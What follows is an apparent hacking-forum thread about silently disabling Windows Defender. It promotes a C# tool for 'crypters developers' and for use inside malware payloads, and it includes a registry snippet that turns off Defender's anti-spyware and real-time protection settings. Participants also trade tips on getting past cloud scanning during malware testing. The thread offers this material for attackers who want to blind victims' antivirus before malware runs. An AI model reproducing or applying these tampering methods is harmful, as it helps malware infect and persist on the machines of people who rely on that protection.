[NYANxCAT]

I saw many members complaining about WD detection and yes, WD is very aggressive and stupid.

This method will permanently disable wd  + wd samples submission without PC reboot or notification (immediate effect)

I wrote it using C# but you can convert it to any language.

Video




Download
github.com/NYAN-x-CAT/Disable-Windows-Defender

[asdox]

Great shit Nyan!
Is there an easy way to re-enable it again?

[NYANxCAT]

Great shit Nyan!
Is there an easy way to re-enable it again?

Sure, change values from true to false. I hope this will be helpful for crypters developers.

[QU⚡CKSILVER]

So this is basically Windows Defender tampering via Powershell, right?

[Nosfir]

I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

[QU⚡CKSILVER]

I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

It can be permanently disabled via the Registry
Nyan should include this:

Code

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

[NYANxCAT]

So this is basically Windows Defender tampering via Powershell, right?

Yes

I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself. you should try it first. or at least compare it to other methods.

---

It can be permanently disabled via the Registry
Nyan should include this:

Code

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Ok. Try your code then run any malware.
Then
try my code and run the same malware again.

if you do this you will understand this thread.

[Nosfir]

I have tested this WD will re enable itself

This is no new method it’s quite old

[QU⚡CKSILVER]

Yes


You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself.  you should try it first. or at least compare it to other methods.

---

Ok. Try your code then run any malware.
Then
try my code and run the same malware again.

if you do this you will understand this thread.

I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

[NYANxCAT]

I have tested this WD will re enable itself

This is no new method it’s quite old

It should not re-enable WD. BUT you can also add this method to your payload.
VIDEO => https://www.youtube.com/watch?v=Wh6O9pwY40U
I didn't say it's new. I said this method will disable wd without restarting the pc and without notification. that's all.

---

I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

I feel so sad now 😭. you didn't read my code.

1- http://prntscr.com/nfrnvq
2- http://prntscr.com/nfrorq

[Alpha_Coder]

Nice project, i like ur projects, and i have a project if u can help me with it, its about CODEDOM, and i can pay for it.

[QU⚡CKSILVER]

I feel so sad now  😭. you didn't read my code.

My bad, now I just realized your code does change the registry 😏
Well then, awesome 🎉

The only way Microsoft could circumvent this from happening would be to disable settings modification via Powershell.

[Cyber Coder]

good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

[NYANxCAT]

good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

[Cyber Coder]

Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

i said 2-3 times because wd cloud scan sometimes glitches
according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago
let me know the honest results, i'm curious